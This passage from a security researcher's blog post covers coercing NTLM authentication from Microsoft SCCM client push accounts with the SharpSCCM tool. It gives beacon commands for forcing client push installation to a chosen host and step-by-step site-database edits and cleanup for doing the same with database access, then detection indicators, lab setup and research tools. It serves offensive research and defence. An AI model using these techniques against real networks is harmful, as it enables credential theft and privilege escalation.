src="https://cdn-images-1.medium.com/max/1024/1*y0AO6M3U4e-udCNQ6jmXWg.png" /></figure><p>The following command can be used to remove a device with the specified GUID.</p><pre>beacon&gt;<br>run SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; remove device &lt;guid&gt;</pre><h3>Other Methods to Coerce Client Push Installation</h3><p>I currently know of two other ways to invoke client push installation if automatic site-wide client push is disabled. They can be accomplished using an account explicitly granted the SCCM Full Administrator role or using a local administrator account on the site database server.</p><h4>SCCM Administrator</h4><p>If you are already in the context of an account with Full Administrator access to SCCM, the following command can be run to determine whether automatic client push installation and fallback to NTLM authentication are enabled for the site. The output also lists any accounts that are enabled for client push installation.</p><pre>beacon&gt;<br>run SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; get site-push-settings</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*ajpnC5dojdJdmOc9PJJ2Uw.png" /></figure><p>With this level of privilege, a new device registration request and heartbeat DDR are not needed to initiate client push installation. Instead, the <a href="https://docs.microsoft.com/en-us/mem/configmgr/develop/reference/core/clients/collections/generateccrbyname-method-in-class-sms_collecton">GenerateCCRByName</a> method made available by the ConfigMgr API can be used to create a client configuration request (CCR) for a given host or IP address. This method is preferable when it is an option because fewer artifacts are left behind using this technique.</p><pre>beacon&gt;<br>run SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; invoke client-push -t &lt;windows_host_ip&gt; --as-admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JzZG2-IHA7UGL42bjAz3uQ.png" /></figure><p>SCCM also ships with a tool that is installed on site servers by default called ClientPushGenerator.exe, a .NET assembly that uses the same GenerateCCRByName method to target a specific system and begin client push installation.</p><p>The <a href="https://docs.microsoft.com/en-us/powershell/module/configurationmanager/install-cmclient">Install-CMClient</a> PowerShell cmdlet can also be used to initiate client push installation with Full Administrator privileges.</p><h4>Local Admin on Site Database Server</h4><p>By default, SCCM does not allow local administrators on site servers to access the SCCM administration console or server WMI objects without being explicitly granted Full Administrator access to SCCM. This restriction includes Domain Admins. However, <a href="https://docs.microsoft.com/en-us/previous-versions/troubleshoot/configmgr/troubleshoot-advanced-client-push-installation-issues#use-a-ccr-file-to-manually-trigger-the-client-installation">in older versions of SCCM</a>, it was possible for local admins on site servers to coerce the client push installation accounts into authenticating to an arbitrary system by creating a CCR and placing into the ccr.box directory.</p><p>In ConfigMgr 2012, this technique no longer works without also adding a few records to the site database to kick off client push installation.</p><p>When is this useful? Consider an example where an attacker with local administrator privileges on the site database server might want to obtain access to the client push installation account if they suspect it might help them escalate privileges in the environment (e.g., if the client push account is a member of Domain Admins or is an SCCM Full Administrator) but no high-value accounts are logged in to steal tokens/tickets from.</p><p><strong>Update 5/19/23: </strong>This attack is much easier than I thought when I wrote this. With site database access, you can <a href="https://posts.specterops.io/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1">grant yourself the Full Administrator role</a>.</p><h4><strong>SCCM Site Database Server — Attack Step-by-Step</strong></h4><p>When targeting ConfigMgr 2012, these steps need to occur in this order to invoke client push installation:</p><ol><li>Get the ResourceId for the device you want to initiate client push installation to using the SharpSCCM.exe &lt;server&gt; &lt;sitecode&gt; get device -n &lt;device_name&gt; -p “Name” -p “ResourceId” command.</li><li>On the site database server, copy any existing record in the ClientPushMachine_G table to a new row, setting the value of the MachineId field to the ResourceId of the device you want to push to.</li><li>Create a new record in the CP_System_Resource_N_ARR table:<br>a. Set the value of ItemKey to the ResourceId of the device you want to push to.<br>b. Set the value of Resource_Names() to anything.<br>c. Set the value of SiteNumber to 1.</li></ol><p>4. Write a blank file named &lt;ResourceId&gt;.ccr and save it in the C:\Program Files\Microsoft Configuration Manager\inboxes\ccr.box directory.</p><h4>SCCM Site Database Server — Cleanup Step-by-Step</h4><ol><li>Delete the row created in the CP_System_Resource_N_ARR table.</li><li>Delete the row created in the ClientPushMachine_G table.</li><li>Delete the &lt;ResourceId&gt;.ccr file from the C:\Program Files\Microsoft Configuration Manager\inboxes\ccrretry.box directory.</li></ol><p>This functionality is not yet built into SharpSCCM but is fairly easy to accomplish with access to SQL Server Management Studio on the site database server.</p><h3>Detection Guidance</h3><h4>Indicators of Compromise</h4><p>Here are a few changes that could be present after this technique is used to coerce authentication from the client push installation account:</p><ul><li>Client push installation accounts are being used to authenticate to devices outside of a site or to devices within a site that already have the client installed.</li><li>Client push installation accounts are being used to connect to services other than SMB (in the case of relay to HTTP/LDAP).</li><li>New devices are created in SCCM using an IP address, IP address@port, or IP address@ssl:port as the NetBIOS name.</li><li>New devices are created in SCCM using the same NetBIOS name and IP address as an existing device.</li><li>New self-signed certificates are created on client machines.</li><li>The SMS Signing or SMS Encryption machine certificates on the client are read by a process that is not a legitimate client process.</li><li>There are new items in the C:\Program Files\Microsoft Configuration Manager\inboxes\ccrretry.box directory on the site server.</li><li>The Data Discovery Manager log reports new systems discovered via Heartbeat DDR.</li><li>There are new items in the ClientPushMachine_G and CP_System_Resource_N_ARR site database tables.</li></ul><h3>Building, Testing, and Contributing to SharpSCCM</h3><h4>Building</h4><p>Build instructions are located in the README.md file on the GitHub project page (<a href="https://github.com/Mayyhem/SharpSCCM">https://github.com/Mayyhem/SharpSCCM</a>).</p><h4>Lab Setup</h4><p>Microsoft’s official lab kits can automatically deploy a fully operational SCCM lab in Hyper-V running ConfigMgr 2103 or 2111:</p><ul><li><a href="https://docs.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide">https://docs.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide</a></li></ul><p>Microsoft’s official lab kits are vulnerable to this attack technique by default.</p><h4><strong>Lab Tools</strong></h4><p>The following tools were helpful at one point or another in discovering and developing the techniques used by SharpSCCM. I can’t thank the creators of these tools enough for sharing their work with the community.</p><ul><li><a href="https://www.powershellgallery.com/packages/CMMessaging/1.0/">CMMessaging </a>— Taught me how to interact with the management point using the Messaging SDK</li><li><a href="https://docs.microsoft.com/en-us/mem/configmgr/core/support/cmtrace">CMTrace </a>— SCCM’s log viewer, installed on clients and servers by default</li><li><a href="https://www.nirsoft.net/utils/dpapi_data_decryptor.html">DataProtectionDecryptor</a> — Used to identify the key used for decryption of NAA credentials</li><li><a href="https://github.com/dnSpy/dnSpy/releases">dnSpy </a>— For decompiling and live debugging of .NET assemblies included with SCCM client and server software</li><li><a href="https://github.com/paulwetter/DocumentConfigMgrCB">DocumentConfigMgrCB </a>— Gathers SCCM configurations into one convenient HTML file</li><li><a href="https://github.com/NationalSecurityAgency/ghidra/releases">Ghidra </a>— For reverse engineering native binaries included with SCCM client and server software</li><li><a href="https://docs.microsoft.com/en-us/mem/configmgr/core/support/policy-spy">PolicySpy </a>— SCCM’s policy viewer, installed on clients and servers by default</li><li><a href="https://github.com/PowerShellMafia/PowerSCCM">PowerSCCM </a>— The inspiration and foundation for SharpSCCM</li><li><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">ProcMon </a>— For monitoring system resources used by the SCCM client and SharpSCCM</li><li><a href="https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms">SQL Server Management Studio</a> — For interacting directly with the SCCM site database</li><li><a href="https://github.com/Mayyhem/scripts/blob/master/watcher.ps1">watcher.ps1</a> — Monitors a directory for new/modified files and copies them to another location. This was useful for monitoring messages received in management point inbox directories, which are only present for a few milliseconds. Based on this <a href="https://stackoverflow.com/questions/56452971/powershell-hanging-due-to-filesystemwatcher">StackOverflow answer from postanote</a>.</li><li><a href="https://www.wireshark.org/download.html">Wireshark </a>— For viewing messages between the client and management point</li><li><a href="https://www.microsoft.com/en-us/download/details.aspx?id=8572">WMICodeCreator </a>— For generating C# code to execute WMI queries or methods</li><li><a href="https://github.com/vinaypamnani/wmie2">WmiExplorer </a>— The best tool I could find for interacting with a local or remote WMI repository</li></ul><h4>Testing</h4><p>Debugging issues that occur between the client running SharpSCCM and the management point when coercing client push installation is pretty easy. Logs related to system discovery are included in C:\Program Files\Microsoft Configuration Manager\Logs\ddm.log, and logs related to client push installation are included in C:\Program Files\Microsoft Configuration Manager\Logs\ccm.log on the site server. These files can be merged and reviewed in real time using the CMTrace utility that ships with SCCM.</p><h4>Getting into the Weeds</h4><p>Many of the assemblies that ship with the SCCM client and server software (e.g., Microsoft.ConfigurationManagement.Messaging.Messages) were written in C# and rely on the .NET Framework. As a result, they can be easily decompiled using dnSpy.</p><p>A lot of the classes in these assemblies are detailed on Microsoft’s web site in the related SDK documentation.</p><p>Many of the other DLLs included with the SCCM software were written in C/C++ and can’t be decompiled back into their original code. However, the developers meticulously documented many of the function names in debug messages that can be recovered using the bash “strings” command.</p><p>For example, if you wanted to find DLLs that mention “NetworkAccessAccount” for your research, the following command recursively lists all DLLs below the current path, runs strings, and searches the results for files that include that string.</p><pre>$ for file in `ls -R -d *.dll`;do echo $file &amp;&amp; strings $file 2&gt;&amp;1 | grep -o -a NetworkAccessAccount;done|grep -B1 NetworkAccessAccount <br>TSAgent.dll<br>NetworkAccessAccount<br>TSCore.dll<br>NetworkAccessAccount</pre><p>After finding a DLL with a function you’d like to look more closely at, tools like Ghidra can be used to decompile the DLL and reverse engineer the code.</p><h4>Contributing</h4><p>Please create and checkout a new feature branch from the main branch in your fork of the SharpSCCM git repository, make your changes, and submit a pull request.</p><h3>SharpSCCM Limitations</h3><ul><li>SharpSCCM relies on several external dependencies (e.g., the Messaging SDK DLLs) to function. These DLLs are present on SCCM clients but require local administrator to access in their legitimate locations, so they are packaged with SharpSCCM as well.</li><li>The merged SharpSCCM executable that includes all dependencies is larger than the execute-assembly Beacon command’s maximum allowed size (1MB). Removing portions of the code that are not necessary for this attack and recompiling so that the file does not need to be uploaded to the target are exercises left to the reader.<br>- The <a href="https://github.com/MythicAgents/Apollo">Apollo Mythic agent</a> by <a href="https://twitter.com/djhohnstein">@djhohnstein</a> does not have this limitation.</li><li>.NET Framework 4.7.2 was targeted because it is supported by most Windows 10 versions and is the earliest version that includes the System.Security.Cryptography.X509Certificates.CertificateRequest class.</li></ul><h3>What’s Next for SharpSCCM?</h3><ul><li>Option to save the self-signed certificate used to communicate with the management point in the User Certificates store so that it can be reused by SharpSCCM</li><li>Functionality to pull the Network Access Account policy from the server and decrypt its password without having the local administrator privileges required to unprotect it using the DPAPI system key</li><li>Option to use PKI certificates when required by the site and the user executing SharpSCCM has local Administrator privileges</li><li>Functionality noted in the <strong>Local Admin on Site Database Server</strong> section above</li></ul><h3>Research Ideas</h3><p>I suspect it might be possible to register SCCM clients and send requests to the management point from any machine, even if the machine is not a client of SCCM. All that seems to be required is a self-signed certificate to sign/encrypt messages, a message containing certain XML elements that is formatted correctly, and the ability to communicate with the management point via HTTP. Additional research is needed to determine whether the SCCM Messaging SDK functions could be ported to another language (e.g., Python — lookin’ at you, Impacket contributors).</p><p>Here are a few other areas that might be interesting to research:</p><ul><li>Test whether existing PKI client authentication certificates can be used to communicate with management points if the user has local administrator privileges</li><li>Privilege escalation from local administrator on the site database server to Full Administrator of SCCM. This likely requires a record to be added to the RBAC_Admins table in the site database.</li><li>Privilege escalation from local administrator on site servers hosting other roles to Full Administrator of SCCM</li><li>Coercing client push installation via Active Directory System Discovery</li><li>Coercing client push installation in environments integrated with AzureAD</li></ul><p>If you’re interested in collaborating on SCCM security research, or if you have any corrections/feedback for this post, please hit me up on Twitter (<a href="https://twitter.com/_Mayyhem">@_Mayyhem</a>) or in the BloodHoundGang Slack (@Mayyhem)!</p><h4><strong>Updates 5/19/23:</strong></h4><ul><li>Added hotfix information</li><li>Added terms and definitions</li><li>Updated command syntax</li><li>Clarified that the site server initiates client push rather than a management point</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6e23ea8260a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/coercing-ntlm-authentication-from-sccm-e6e23ea8260a">Coercing NTLM Authentication from SCCM</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>